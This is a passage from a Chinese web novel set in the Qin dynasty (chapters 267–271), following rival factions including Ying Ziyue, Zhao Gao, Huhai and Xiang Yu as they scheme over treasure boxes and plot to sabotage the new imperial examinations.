“都给你!”
他涕泪横流,语无伦次地哀求,颤抖着将宝盒举过头顶。
就在暗河头领的手即将触碰到宝盒的刹那。
“咯咯……”
一阵娇媚入骨,却又令人毛骨悚然的笑声,突兀地从庙宇那残破的屋顶传来。
众人抬头,只见一道妖娆的红影不知何时斜倚在断裂的梁柱上。
纤纤玉指间把玩着一朵幽幽燃烧的蓝色火焰,映照着她那张美艳绝伦却又邪气森森的脸庞。
正是大司命!
“暗河的朋友,动作可真快呀。”
她红唇轻启,声音带着黏腻的甜味,眼神却如毒蛇般扫过下方。
“东皇大人有令,此物关系重大,需得谨慎。”
“这人嘛……”
她目光落在抖成筛糠的赵歇身上,闪过一丝残忍的玩味。
“便交由我阴阳家‘照料’几日,确保他身上没什么…不该有的小手脚。”
暗河头目动作一顿,抬头看向大司命。
沉默片刻,缓缓收回了手,退后一步,默许了阴阳家的介入。
大司命娇笑一声,身影如红烟般飘落,指尖那朵蓝色火焰轻飘飘地飞向赵歇。
赵歇连惨叫都发不出,双眼一翻,当场昏死过去!
两名阴阳家弟子如同从地底钻出,迅速将瘫软的赵歇拖起,消失在阴影中。
暗河头目则上前,小心翼翼地拾起那枚掉落在地的赵国宝盒。
仔细检查无误后,放入一个特制的玄铁盒中密封。
整个过程,高效、冷酷、配合无间。
而在距离这破庙数百步之外的一处高坡密林中,几道几乎与树干阴影融为一体的身影,正远远地注视着这一切。
他们如同石雕般一动不动,连呼吸都压抑到最低限度。
正是罗网的监视者!!
为首者看着暗河与阴阳家如同剧本安排好的一般完成交接,看着宝盒被暗河取走,赵歇被阴阳家带走。
面具下的嘴角,勾起一丝阴冷的,计谋得逞的弧度。
消息,是他们精心散布的。
鱼饵,是他们亲手抛下的。
如今,鱼儿的反应,分毫不差!
他没有发出任何指令,只是做了一个极细微的手势。
所有罗网杀手如同退潮般,悄无声息地融入更深沉的夜色,彻底消失,没有留下任何痕迹。
仿佛他们从未出现过。
……
片刻后。
一只通体漆黑,唯有爪喙呈暗金色的夜枭扑棱着翅膀,悄无声息地划过夜空。
朝着咸阳的方向,疾飞而去。
它的爪下,系着一枚小小的竹管,里面是暗河以最快速度传出的密讯——
【赵盒已得,人在阴阳家,一切顺利。】
……
咸阳。
六公子府书房。
窗外的天色已是薄暮冥冥,书房内却早早点起了灯。
赢子夜负手立于一幅巨大的山河舆图前,目光沉凝,仿佛要将那绵延的疆土与错综复杂的势力分布都刻入脑中。
窗外传来极轻微的振翅之声。
一道黑影如同融入夜色般悄无声息地滑入,落在窗棂上。
正是一只爪喙暗金的夜枭。
侍立一旁的赵弋苍立刻上前,熟练地解下夜枭腿上的细小竹管,检查无误后,双手呈给赢子夜。
赢子夜接过,指腹摩挲着冰凉的竹管,并未立刻打开。
他抬眼,目光似乎穿透了墙壁,望向遥远的赵国方向。
片刻的静默。
空气中弥漫着一种山雨欲来的紧绷感!
他缓缓拧开竹管,取出内里卷得极细的绢条,展开。
目光快速扫过其上简洁却分量千钧的密报。
赢子夜的唇角,缓缓勾起一丝冰冷彻骨,却又一切尽在掌握的弧度。
那笑容里没有半分意外,只有一种猎人看到猎物果然踏入陷阱的冷漠了然!
“果然……如此迫不及待地送到我手中了么?”
他低声自语,声音轻得几乎只有自己能听见,带着一丝淡淡的嘲讽。
这点心思,在他眼中,如同透明的水晶。
毕竟,如果赵盒如此轻易就能取得,那根本轮不到他,父皇早年间就能派人信手缴获。
他指尖那点微弱的真气一吐。
记载着密报的绢条瞬间化为齑粉,从指缝间簌簌落下,消失无踪!
“主上?”
赵弋苍低声请示,等待着下一步的指令。
是让暗河精锐护送宝盒返回咸阳?
还是……
赢子夜转过身,烛光在他深邃的眼底跳跃,映照出不容置疑的决断。
他的声音清晰、冷静,没有丝毫犹豫!
“传令过去。”
“宝盒,连同那个赵歇,一并交给阴阳家处理吧。”
“我们的人,不必押送返回,更不必在旁监视。”
赵弋苍眼中闪过一丝极细微的讶异,但立刻便收敛了。
他从不质疑主上的决定,只需执行。
赢子夜踱步到那幅巨大的舆图前,目光锐利如刀,猛地钉在了西楚那片广袤的山川湖泊之上。
他的声音陡然加重,带着一种不容置疑的铁血意味。
“告诉所有暗河所属,赵地之事已了!”
“从现在起,所有人的眼睛,都给本公子死死地盯住西楚之地!!”
他抬起手,手指重重地点在舆图之上标记着诸多河流险隘的区域,语气斩钉截铁,带着一种迫切的命令。
“加紧搜寻!”
“就算把每一寸山林,每一条河道都给本公子翻过来,也必须找到项羽的踪迹!”
“此人,比十个赵歇,百个宝盒更重要!”
“活要见人,死要——”
赢子夜的声音顿了顿,眼中寒芒大盛,吐出两个字。
“见尸!!!”
“诺!”
赵弋苍心神一凛,重重抱拳领命。
他清晰地感受到了主上语气中那不同寻常,对项羽其人的极致重视与杀意!!
命令如同冰冷的箭矢,随着暗河最高效的通讯网络。
瞬间穿越千山万水,射向赵国方向正在待命的暗河精锐。
也同时,传向了所有潜伏于西楚之地的暗桩与杀手!
第268章 顺水推舟,引蛇出洞!!!
章台宫深处。
夜明珠柔和的光辉驱散了大部分阴影,却让剩余的那些显得更加深邃难测。
嬴政并未端坐于帝座之上,而是站在一幅巨大的四海归一图前。
玄色常服更衬得他身形挺拔如山岳,背影透着无尽的威严与孤独。
赢子夜静立在下首,恭敬地垂着眼睑,将近日所得一一禀报。
他的声音在空旷的殿内清晰而沉稳,每一个字都经过深思熟虑。
“父皇。”
他开口道。
“儿臣近日听闻咸阳九重牢狱似有异动,结合此前百越之地九魔封印被破,其踪诡秘消失之事,儿臣以为,此事绝非偶然。”
嬴政并未转身,只是静静地听着,仿佛一尊亘古不变的雕像。
赢子夜继续道。
“九魔乃百越凶物,其破封后竟能在我大秦腹地悄然隐匿,若非朝中有人里应外合,断无可能办到。”
“且儿臣追查宝盒之时,亦觉有一股暗流,似乎在极力推动苍龙七宿之秘的开启。”
“儿臣怀疑,这两件事背后,或许是同一批人,其所图……绝非小事!”
殿内一片沉寂,只有夜明珠流转的微光和时间流逝的声音。
良久,嬴政缓缓转过身。
他的面容在珠光下显得有些模糊,唯有一双眼睛,锐利如鹰隼,仿佛能洞穿人心,直直地看向赢子夜。
“你能看到这一层,很好。”
嬴政的声音平淡无波,却带着重压。
“你所虑,朕已知晓。”
他抬手,轻轻一挥。
两名如同影子般的黑冰台锐士悄无声息地出现,将两份密奏分别置于嬴政手边的案几上,又无声退下!
嬴政并未去看那密奏,只是用指尖点了点其中一份。
“黑冰台查验过牢狱附近遗留的些许痕迹与一具被灭口的看守尸首,其伤口诡谲,带百越巫蛊之术的特征。”
“他们的结论是——百越余孽所为!!”
他的指尖又移向另一份。
“罗网呈报,亦指向百越,称发现疑似百越高手活动的踪迹。”
最后,他的目光重新落在赢子夜身上,那目光深沉如海,带着一种掌控一切的平静。
“至于九重牢狱的存在……”
“朕,一直都知道。”
“阴阳家用以研究秘术,罗网用以关押要犯,黑冰台用以监察天下。”
“朕,允许他们存在。”
赢子夜心中剧震,面上却依旧保持平静。
原来父皇对这一切都洞若观火!
他立刻明白了父皇出示这两份矛盾奏报的深意——
他是在教导自己,如何看待这迷雾般的局势!
赢子夜深吸一口气,抬起头,迎向嬴政的目光,声音愈发沉凝。
“儿臣愚见。”
“黑冰台与罗网皆称百越所为,看似证据确凿,方向一致。”
“然,正因如此,才更显可疑!”
他目光灼灼,一字一句道:“九重牢狱何其隐秘?”
“其看守皆非庸手。”
“百越余孽纵有通天之能,若无内应,如何能精准找到并突破?”
“事后更能将痕迹清理得如此‘恰到好处’,恰好留下指向百越的线索?”
“这分明是欲盖弥彰!”
“故而。”
赢子夜斩钉截铁地得出结论。
“儿臣以为,此事绝非简单的百越余孽作祟。”
“其背后,必与掌控或熟知九重牢狱的势力密不可分!”
“阴阳家、黑冰台、罗网……”
“这三者之中,必出了叛逆!”
“且此叛逆能量不小,能同时误导或利用阴阳家、黑冰台与罗网的眼线!”
嬴政静静地听着,脸上依旧没有任何表情,唯有眼底深处,掠过一丝极淡的,几乎无法察觉的满意之色!
他并未对赢子夜的结论做出直接评价,而是缓缓踱步到窗边,望着窗外沉沉的夜空。
“既然有人如此急切地想看到苍龙七宿的秘密重见天日。”
嬴政的声音悠远而冰冷,带着一种令人心悸的漠然:“那朕,便成全他们。”
赢子夜心神一凛,已然明了父皇的打算!
顺水推舟,引蛇出洞!!!
在最终开启秘密之时,让所有牛鬼蛇神都自动跳出来!
“儿臣明白。”
赢子夜沉声道。
嬴政转过身,不再谈论此事,仿佛刚才那番涉及帝国最深层暗流的对话只是寻常闲谈。
他话锋一转。
“宝盒之事,进展如何?”
赢子夜收敛心神,禀报道。
“回父皇,楚盒已得,赵盒亦入手。”
“据儿臣与东皇研判,以及李斯丞相所提供线索,韩国宝盒,当年极有可能未被韩非带入秦境,而是由其师弟张良秘密保管。”
“如今,十之八九仍在张良手中。”
他顿了顿,语气微冷。
“张良明知此物关乎重大,却隐匿不报,其心……恐仍念旧韩,未必真愿归心我大秦!”
“张良……小圣贤庄。”
嬴政淡淡重复了一句,语气听不出喜怒。
“儒家,总是心怀故国,欲行王道复礼于天下。”
他目光扫向赢子夜,看似随意地问道:“你既已派人盯住了他?”
“是。”
“儿臣已命暗河严密监视小圣贤庄与张良的一举一动,只待时机。”
赢子夜回答。
嬴政微微颔首,指尖无意识地敲击着窗棂,声音平淡却蕴含着无尽的杀伐与深意。
“嗯。”
“既如此……那便趁着这次机会,也给桑海那边的儒家…修修枝桠!”
“长得太茂盛了,难免会生出些不该有的杂枝败叶!”
“修枝”二字,轻描淡写,却仿佛带着血雨腥风!
赢子夜立刻领会,这是父皇默许,甚至鼓励他对儒家内部那些心怀异志之人动手了!
“儿臣领旨!”
赢子夜心神领会,郑重应下。
嬴政最后看向他,目光恢复了帝王的深沉与告诫。
“科举在即,此事乃帝国首创,天下瞩目。”
“凡有异心者,必不会放过此等良机。”
“子夜,你与李斯肩上的担子不轻,凡事需慎之又慎,切莫予人口实。”
“儿臣谨记父皇教诲!”
“定当殚精竭虑,不负父皇所托!”
赢子夜深深躬身。
“去吧。”
嬴政挥了挥手,重新转过身去,望向那无垠的夜空,背影再次变得孤独而莫测,仿佛与整个帝国的重量融为一体。
赢子夜恭敬地退出章台宫,冰冷的夜风拂面而来,却吹不散他心中那滚烫的思绪与沉重的压力。
父皇的每一次点拨,都如同在迷雾中点亮一盏灯。
照亮前路的同时,也让他更清晰地看到了脚下的…万丈深渊!!
第269章 看来老师还有不少事瞒着本公子啊
中车府令官署。
最深处的密室。
这里仿佛永远浸泡在一种阴冷潮湿的黑暗中,唯有几盏摇曳的油灯投下昏黄不定的光晕,将墙壁上扭曲的影子拉得很长。
赵高如同一只习惯于暗处的蜘蛛,静坐在案几后。
苍白修长的手指正轻轻抚过一只刚刚飞回的信鸽的羽毛。
他从鸽腿上解下细小的竹管,取出密信,就着昏黄的灯光扫过。
那张苍白无须的脸上,缓缓浮现出一丝一切尽在掌握,冰冷诡异的笑容。
他将绢条凑近灯焰,看着它蜷曲、焦黑、化为灰烬。
“那个赵歇……已经送出去了。”
他的声音尖细低沉,在寂静的密室里显得格外清晰。
“六公子和东皇太一,倒是很配合。”
阴影中,站着如同六尊没有生命的雕像般侍立的六剑奴。
真刚那双隐藏在面罩后的眼睛似乎动了一下,发出低沉沙哑的声音。
“大人,既然鱼已入网,是否需要将我们掌握的,楚国余孽项羽的些许踪迹,也‘不经意’地泄露给暗河?”
“让他们尽快狗咬狗,两败俱伤?”
赵高闻言,发出一阵极其轻微却令人毛骨悚然的低笑。
他缓缓摇头,指尖轻轻敲击着桌面。
“不必……让他们再多活几日。”
“死之前,总得再为我们…办完最后一件事。”
他的话音刚刚落下,密室那厚重的门竟被人从外面无声地推开了一道缝隙!
一道年轻的身影带着几分慵懒和刻意装出的惊讶,缓步走了进来。
来人身着华贵的锦衣,面容俊秀,却带着一种被宠坏了的阴柔戾气。
正是十八世子胡亥!
“哦?”
胡亥嘴角噙着一抹玩味的笑意,目光在赵高和六剑奴身上扫过。
“看来老师……还有别的打算啊?”
“最后一件事?”
“听起来很有趣。”
他对这间帝国最隐秘的巢穴之一显得轻车熟路,仿佛走进自家的后花园。
赵高对于胡亥的突然出现似乎并不意外。
他缓缓起身,微微躬身行礼,姿态恭敬,眼神却深不见底。
“老奴参见公子。”
他走上前几步,声音压得更低,带着一种蛊惑般的意味。
“公子可知,那科举大典,届时万人汇聚,鱼龙混杂,可是一个……绝佳的舞台。”
“若是在那时,发生一些令人遗憾的‘意外’,比如某位重要人物遇刺,或是考场出现骇人听闻的舞弊大案……”
“而这所有的线索,若是最终都指向那些躲藏在阴沟里的六国余孽!”
“比如……楚国的项氏,您说,效果会如何?”
胡亥的眼睛瞬间亮了起来,闪烁着恶毒而兴奋的光芒。
他几乎能想象到那时赢子夜和李斯会如何焦头烂额,父皇会何等震怒!
而所有的怒火,都将精准地倾泻向那些早已该死的失败者!
“妙啊!老师!”
胡亥抚掌轻笑,甚至亲昵地拍了拍赵高的肩膀。
“如此一来,既能搅乱局面,又能借刀杀人,还能彻底清洗那些不安分的臭虫!”
“一石三鸟,果然是老师的手段!”
然而,下一刻,胡亥脸上的笑容骤然收敛。
取而代之的,是一种冰冷的带着审视的锐利目光!
他话锋猛地一转,语气变得阴森。
“不过……老师似乎还有些别的打算,瞒着本公子吧?”
赵高躬身的身形微微一顿,声音依旧平稳。
“老奴不敢。”
“不知公子所指何事?”
胡亥冷笑一声,绕着他缓缓踱步,目光如同毒蛇般缠绕着赵高。
“楚地、赵地的宝盒…老师可是煞费苦心才弄到手的‘鱼饵’,就这么轻轻松松地‘送’给了我的好六哥?”
“老师,你这究竟是何用意啊?”
赵高沉默了片刻,面具般的脸上看不出丝毫波澜,心中却急速盘算。
他早知道此事瞒不过胡亥,只是没想到他知晓得如此之快。
“公子明鉴。”
赵高缓缓直起身,声音恢复了那份阴恻恻的冷静。
“其他四国宝盒,皆在陛下掌控之中,或深藏于咸阳宫,或由黑冰台严密看守,获取难如登天。”
“既如此,我们何不顺水推舟,助六公子一臂之力,让他尽快集齐宝盒,促成苍龙七宿的开启呢?”
胡亥眯起了眼睛。
“哦?促成?”
“然后呢?”
“届时我们再从他手中抢夺?”
“老师,你凭何以为我们能从那时的赢子夜手中夺食?”
“就凭罗网?”
他的语气充满了怀疑和嘲讽。
“自然不能仅凭罗网。”
赵高嘴角勾起一抹诡异的弧度,声音压得极低,仿佛怕被黑暗听去。
“公子莫非忘了…那九尊来自百越的……凶神?”
胡亥的瞳孔猛地一缩!
脸上第一次露出了真正的惊诧之色!
他仔细地打量着赵高,仿佛要重新认识这个一直辅佐自己的阴险宦官。
良久,他才缓缓吐出一口气,脸上重新浮现那种虚假的笑容。
“原来老师……早已布下如此暗棋!”
“有此远虑,本公子倒是错怪老师了。”
赵高再次躬身,语气显得无比恭顺甚至带着一丝惶恐!
“公子言重了。”
“老奴此举,亦是…亦是害怕将公子您过早地牵扯进这浑水之中,此等阴诡之事,自有老奴为您操持。”
胡亥闻言,脸上的笑容愈发灿烂,他满意地点点头。
“嗯!”
“老师果然事事为本公子考量,有心了!”
他不再多言,转身朝着密室门口走去,步伐轻快,仿佛只是来进行了一场愉快的闲聊。
然而,当他踏出密室,厚重的门在他身后缓缓合上,将他华贵的身影与密室内的阴冷彻底隔绝的那一刻!
胡亥脸上所有的笑容瞬间消失得无影无踪!
取而代之的是一种冰寒刺骨的冷漠与怀疑!!
他登上等候在外的奢华马车,车厢内珠光宝气,温暖如春,却驱不散他眼底的寒意。
他自然不信赵高那套“为他考量”的鬼话。
那条老阉狗,野心勃勃,所做的一切最终都是为了他自己。
但……
胡亥冷冷地勾起唇角。
有些脏手的事情,有些见不得光的谋划,目前的确还需要倚仗这位“老师”去完成。
马车缓缓启动,驶向公子府。
胡亥靠在柔软的垫子上,闭上眼,开始细细咀嚼赵高今晚透露的每一个字,盘算着如何在这盘错综复杂的棋局中,既能利用好赵高这把毒刃。
又能确保自己……不会最终也被其反噬。
第270章 科举乃国之重典,亦是帝国颜面!
西楚之地。
一处隐蔽的山涧深处。
夜色浓重,篝火噼啪作响,映照着项羽那张英武却写满疲惫与挫败的脸庞。
他身上的铠甲沾染着泥污和早已干涸发黑的血迹,几处破损用粗布勉强包扎着。
昔日力能扛鼎,气吞山河的西楚少主,此刻却像一头受伤被困的雄狮。
眼神中燃烧着不甘的火焰。
却又被接连的失败浇得明灭不定。
他狠狠一拳砸在身旁的岩石上,拳峰瞬间破裂,渗出血迹,他却浑然不觉!
“又败了!”
“那些亲卫…他们为了掩护我……”
他的声音沙哑,充满了痛苦和自责。
“暴秦!罗网!”
“我项羽在此对天立誓,此生必灭秦,以告慰同胞在天之灵!!”
然而,誓言虽狠,现实的困境却如同冰冷的枷锁,牢牢捆缚着他。
身边的亲信越打越少,地盘越缩越小,每日都在躲避无孔不入的罗网追杀,惶惶如丧家之犬。
一种前所未有的无力感,几乎要将他压垮!
帐中一时寂静。
这时,一名身披铁甲,面容刚毅的将领上前一步,抱拳低声道:“少主,不可如此自伤士气。”
项羽抬起布满血丝的双眼,看清来人。
是随军将领——
季苍。
季苍目光如炬,语气坚定:“少主,胜败乃兵家常事,秦虽强,却未必牢不可破。”
“只要少主尚在,项氏的旗帜就未倒下!”
项羽冷笑一声:“旗帜?如今连片安身之地都无,谈何旗帜?”
季苍闻言,反而上前一步,直视他:“恰是如此,才有翻盘的机会。”
“机会?”
项羽猛地抬头,眼中重新燃起一丝微光。
“什么机会?哪里还有机会?!”
“是咸阳传来的消息。”季苍压低了声音,却难掩其中的激动。
“暴秦欲行科举之举,广招天下士子,不看出身,唯才是举!”
“届时,将有上万文人齐聚咸阳!”
项羽眉头紧锁,不耐烦地打断:“嬴政老儿招揽走狗,与我何干?”
“难道让我去考那劳什子科举不成?”
语气中满是属于武人的不屑!
“非也!”
“少主!”
季苍急忙道,眼中闪烁着计谋的光芒!
“您想,科举乃嬴政收买天下人心之举,若此事办得漂亮,天下寒门士子皆感念秦恩,于我反秦大业极为不利!”
“但反之——”
他凑近一步,声音带着蛊惑人心的力量。
“若科举大典之上,出现惊天动地的乱子呢?”
“比如…主考官遇刺?”
“考场被焚?”
“亦或是爆出骇人听闻的舞弊大案,让所有寒门士子感到被欺骗、被愚弄?”
项羽的呼吸微微急促起来,他似乎抓住了将领话中的关键!!
季苍趁热打铁,语气愈发激昂。
“届时,天下必然震动!”
“人心涣散,怨声载道!”
“暴秦虚伪的面具将被彻底撕碎!”
“而少主您——”
他重重抱拳,声音斩钉截铁。
“便可趁此良机,高举义旗,召天下英雄共讨暴秦!”
“那些对秦失望透顶的士人,那些备受欺压的百姓,必将云集响应!”
“这才是真正给予暴秦致命一击的良机啊,少主!”
项羽猛地站起身,高大的身影在火光投下巨大的阴影。
他胸膛剧烈起伏,眼中的颓丧被熊熊燃烧的斗志和一种被引导出的疯狂所取代!
季苍的话,为他黑暗的前路点燃了一把火!
“说得对!”
项羽低吼一声,如同困兽咆哮。
“嬴政想借此收买人心?”
“我偏要让他弄巧成拙,人心尽失!”
“此计大妙!”
他用力拍了拍季苍的肩膀,眼中闪烁着狠厉与决绝。
“季苍,此事便由你全力筹划!”
“我们需要人手,需要混入咸阳的办法,需要里应外合!”
“末将遵命!”
“定不负少主所托!”
季苍抱拳领命,低下头颅的瞬间,眼底深处掠过一丝极其隐秘,冰冷无情的得色。
……
是夜,万籁俱寂,只有山风呼啸。
一道黑影悄无声息地避开所有岗哨,来到山涧最偏僻的角落。
季苍确认四周无人后,从怀中取出一只早已准备好的漆黑信鸽。
他将一枚细小如指甲的竹管熟练地缚于鸽腿之上。
竹管内,只有简短的密报:
【鱼已吞饵。】
他抬手将信鸽抛入夜空,那鸽子振翅而起,没有丝毫迟疑,精准地朝着北方咸阳的方向疾飞而去,迅速消失在浓重的夜色里。
季苍站在原地,望着信鸽消失的方向,脸上那副忠勇坚毅的面具缓缓褪去,只剩下一种属于罗网顶尖杀手的绝对冰冷!!
他低声自语,声音轻得如同叹息,却带着致命的寒意。
“项羽啊项羽…你这把最锋利的刀,便再为大人的霸业…发挥最后的光和热吧。”
……
咸阳城。
这座帝国的黑色心脏,因即将到来的盛会而呈现出一种奇特的律动。
往日肃杀威严的空气中,注入了一股来自四海八方,躁动不安的文气。
城门处,盘查的禁卫明显增加了数倍。
披甲执锐的秦军士卒目光如鹰隼,严格查验着每一份路引户籍,对携带的书简行囊更是翻查得仔细。
长长的队伍中,多是身着青衿儒袍的士子。
他们风尘仆仆,脸上带着长途跋涉的疲惫,更多的却是对帝都的敬畏,对前程的憧憬以及一丝不易察觉的紧张焦虑。
间或也能看到一些衣着简朴,气质更为冷峻硬朗之人。
似是法家、兵家之流。
人流如织,低声交谈着,汇成一片嗡嗡的声浪,却又在守军冷厉的目光下自觉地压抑着。
与此同时。
一辆玄色马车在数骑护卫下,无声地穿过熙攘的人群,驶向正在紧锣密鼓兴建的考院区域。
车帘微掀,赢子夜的目光平静地扫过窗外景象,将那份喧嚣与紧张尽收眼底,脸上无波无澜。
马车在已初具规模的考院大门外停下。
赢子夜下车,早已等候在此的将作少府章邯、丞相李斯与廷尉监正萧何立刻迎上前来。
“殿下。”
三人齐齐行礼。
赢子夜微微颔首,目光已投向那规模宏大的建筑群。
工匠们如同蚁群般忙碌穿梭,号子声、敲打声、锯木声不绝于耳。
“进去看看。”
赢子夜言简意赅,率先迈步而入。
章邯、李斯、萧何紧随其后,低声汇报着情况。
行走在初步成型的廊道间,赢子夜仔细查看着房屋的结构、采光、以及各处通道。
“各处部署,进行得如何了?”
赢子夜开口问道,声音在空旷的殿基间回荡。
李斯立刻上前一步,神色严谨。
“回殿下,遵照前议,臣已与卫尉、中尉府协调,增派的巡防兵力已就位,对入城士子的盘查从未松懈。”
“所有客栈、逆旅均已登记造册,由专人暗中监察。”
章邯接口道,语气带着军人的干脆。
“考院外围三重警戒已布置完毕,均由末将麾下锐士负责,绝无闲杂人等可以靠近。”
“内部巡逻路线也已划定。”
萧何则补充细节。
“士子登记造册之事正在有序进行,‘以工代赈’处也已搭建,已有数十名贫寒士子报名,既可安其身,亦便于管理。”
赢子夜一边听,一边微微点头,脚步未停,走到一处巨大的厅堂内,这里将是未来的主考场之一。
他抬头看了看高大的梁柱和尚未完全封闭的顶棚。
“科举非一日之功,据闻需连考数日。”
赢子夜的目光扫过那些正在安装灯盏的工匠。
“夜间烛火照明,必须充足、稳定,且需绝对确保安全。”
“万千书卷竹简汇聚于此,若走水,非同小可。”
“章邯,此事你亲自督办,所有灯台灯架务必固定稳妥,预备足量灯油火烛,并增配防火用的沙土、水缸,每处皆需有专人定时巡查。”
章邯面色一肃,重重抱拳。
“末将明白!”
“已责令工匠加设防火隔断,并抽调一队军士专门演练夜间防火应急,定保万无一失!”
赢子夜继续前行,来到一处规划的巡逻兵士交接点,问道:“场内巡逻兵士,安排了多少人?”
“何时轮值替换?”
章邯答道:“按常规布置,每班次两百人,两个时辰一换。”
赢子夜停下脚步,眉头微蹙,摇了摇头。
“不够。”
“此地广阔,屋舍复杂,两百人撒进去,仍有太多视线死角。”
“增至每班次四百人。”
“轮值时间缩短至一个半时辰。”
“务必保证所有巡逻兵士时刻保持最高警惕,不得有丝毫懈怠困倦。”
章邯没有丝毫犹豫,立刻应道:“诺!”
“末将即刻从骊山兵营再调人手!”
赢子夜又转向李斯和萧何:“士子越多,变数越大。”
“所有参与科举事务的官吏、杂役,背景需再三筛查。”
“尤其是能接触到考题流程、试卷印制、乃至饮食供给之人,必须绝对可靠!!”
李斯与萧何皆神色凝重地点头。
“臣(下官)遵命!”
最后,赢子夜望向那一片繁忙的工地,沉吟片刻道:“工期紧迫,看来还需更多人手。”
“章邯,再从将作少府抽调一批匠师过来,加快进度,务必在士子全部抵达前,完成所有主体建筑及内部基本布置,不得延误!”
“末将领命!”
章邯再次抱拳。
巡视完毕,赢子夜站在高处,俯瞰着这片即将决定无数人命运,也牵动着帝国未来的庞大建筑群。
目光深邃锐利。
仿佛要穿透一切砖石土木,看清其下可能隐藏的所有暗流与杀机!
“科举乃国之重典,亦是帝国颜面。”
他缓缓开口,声音不大,却带着千钧之力,清晰传入身后三位重臣耳中。
“我要看到的,是一场井然有序,公正严明,让天下士子心服口服的盛会。”
“任何企图在此地兴风作浪者……”
他没有说完,但那股冰冷的杀意,已让周遭空气都为之凝滞!!
李斯、章邯、萧何皆深深躬身。
“臣等必竭尽全力,不负陛下与殿下重托!”
第271章 这台戏,总不能让你一个人唱!
十八公子府邸。
深处一间极尽奢华的暖阁内。
熏香袅袅,却驱不散那份阴冷的算计。
胡亥懒洋洋地倚靠在铺着白虎皮的软榻上,指尖有一下没一下地敲击着身旁玉盘中的珍稀水果。
他那张俊秀的脸上带着一种猫捉老鼠般的戏谑和贪婪。
一名身着不起眼仆役服饰,实则气息内敛精干的心腹,正垂手躬身,低声汇报着近日涌入咸阳的士子情况,以及朝中关于科举考官遴选的些许风声。
胡亥漫不经心地听着。
忽然!
他敲击水果的动作停了下来,嘴角勾起一抹玩味又冰冷的弧度。
“一万多人呐……”
“里面总该有些聪明人,懂得审时度势,知道在这大秦,除了父皇的恩典,还需要些什么……”
“才能走得更高更远,对吧?”
他声音轻飘飘的,仿佛在自言自语。
他抬起眼,看向那名心腹,眼中闪烁着一种攫取的光泽。
“去,告诉我们在朝中的那些‘朋友’们。”
他特意加重了“朋友”二字。
指的自然是那些早已被他用各种手段笼络,暗中投效,表面上却依旧道貌岸然,位列朝堂的大臣们。
“让他们都把眼睛给本公子放亮些。”
胡亥的声音带着一丝不容置疑的命令。
“留意那些入都的士子,若有家世尚可,学问不错,更重要的是…识趣、懂进退的,不妨暗中接触接触。”
“许他们一个锦绣前程,换他们将来为本公子效忠。”
“这件事,做得隐秘些,就像……春风化雨,自然无声!”
“诺。”
心腹低声应道,头垂得更低。
胡亥满意地笑了笑。
随即,他眼中闪过一丝更深的阴鸷,身体微微前倾,压低了声音,语气变得愈发森然!
“还有,考官……这才是重中之重。”
“李斯和赢子夜拟定的那份名单,必定审查极严。”
“但百密终有一疏……”
“让我们的人,想办法,不惜任何代价,必须在最终确定的阅卷官里,塞进去一个…我们的人!!!”
他伸出两根手指,轻轻捻动着,仿佛在捏住一条无形的线。
“不需要他做太多,只需要一双眼睛,一双耳朵,在关键时刻……”
“能听到该听的,看到该看的!”
“或许,还能在那些试卷里,轻轻拨动那么一下……”
心腹闻言,身体几不可察地微微一震!!
此事风险极大,一旦暴露,便是万劫不复!
但他不敢有丝毫迟疑,立刻应道:“属下明白!”
“定会寻最稳妥之策,将此事办成!”
胡亥向后靠去,重新恢复了那副慵懒的姿态,挥了挥手。
“去吧。”
“记住,本公子要的是结果,至于过程…你们自己掂量。”
“诺!”
心腹如同鬼魅般,悄无声息地退出了暖阁。
胡亥独自留在阁内,拿起一颗晶莹的柿子,却没有吃,只是放在指尖把玩着,脸上浮现出一种近乎天真的残忍笑容。
“六哥啊六哥,你忙着为国选材,弟弟我…也得为自己招揽些趁手的人才不是?”
“这戏台子,总不能让你一个人唱完了。”
……
六公子府邸。
书房内的烛火驱散了秋夜的寒凉。
赢子夜褪下带有室外寒气的玄色外袍,神色间带着一丝巡视整日后的疲惫。
但那双深邃的眼眸却依旧清明锐利,不见丝毫松懈。
他并未立刻坐下处理文书,而是负手立于窗前,望着窗外沉寂的庭院,仿佛能穿透这静谧,看到整个咸阳城隐藏的暗流。
“赵弋苍。”
他声音不高,却清晰地传入阴影之中。
如同从墙壁中分离出来一般,赵弋苍的身影悄无声息地出现,单膝跪地。
“主上。”
“咸阳近日,可有何异常动静?”
“尤其是那些涌入的士子,以及各方势力的眼线。”
赢子夜的声音平静无波,却带着一种不容错辨的审视。
赵弋苍垂首禀报。
“回主上,暗河日夜监察,目前尚未发现大规模或有组织的异动。”
“各方势力似乎都处于观望阶段,偶有些小摩擦,皆在可控之内。”
“罗网、阴阳家、乃至一些六国遗族的暗桩,行为都较为收敛。”
“尚未发现……”
赢子夜重复了一遍这四个字,语气中听不出是满意还是不满。
他转过身,目光落在赵弋苍身上,那目光并不严厉,却让赵弋苍感到一股无形的压力。
“越是平静,越可能暗藏汹涌。”
“科举尚有一些时日,这段时间,足够牛鬼蛇神们做许多准备了。”
“告诉下面的人,绝对不可麻痹大意!”
“盯紧每一个人,每一处可能被利用的漏洞。”
“我要知道咸阳发生的任何一件细微的,不寻常的事。”
“诺!卑职明白!”
“定加派人手,扩大监察范围,绝不敢有丝毫懈怠!”
赵弋苍心头一凛,重重抱拳领命。
“去吧。”
赵弋苍的身影再次无声融入阴影,仿佛从未出现过。
赢子夜这才走到案几后坐下,揉了揉眉心,刚拿起一份竹简,一阵香风便伴随着慵懒娇媚的声音飘了进来。
“公子为了这天下莘莘学子,可真是殚精竭虑,事必躬亲呢~”
焰灵姬一身红裙,倚在门框上,笑吟吟地看着他,眼波流转间带着几分戏谑,几分探究。
“这般辛苦,看得妾身都好生心疼。”
赢子夜头也未抬,目光依旧落在竹简上,语气平淡却带着一种不容置疑的郑重。
“科举取士,乃帝国遴选人才,稳固根基之百年大计,非寻常政务可比。”
“既由本公子主持,自当尽心竭力,何谈辛苦。”
焰灵姬扭动腰肢,款款走近,自顾自地在赢子夜对面坐下,纤纤玉指托着香腮。
“哦?”
“帝国之基呀……听起来真是了不起。”
“那……”
她故意拖长了语调,带着撩人的意味。
“公子觉得,妾身也去试一试这科举如何?”
“说不定也能给公子考个女官回来呢?”
赢子夜终于抬起眼,瞥了她一眼,那眼神仿佛在看一个胡闹的孩子。
“你若能静下心来研读《秦律》《商君书》,本公子倒也不介意给你一次机会。”
语气中带着一丝不易察觉的调侃。
焰灵姬立刻故作哀怨地叹了口气。
“那还是算了,那些东西枯燥得紧,看得人头疼。”
“妾身还是舞刀弄火比较在行。”
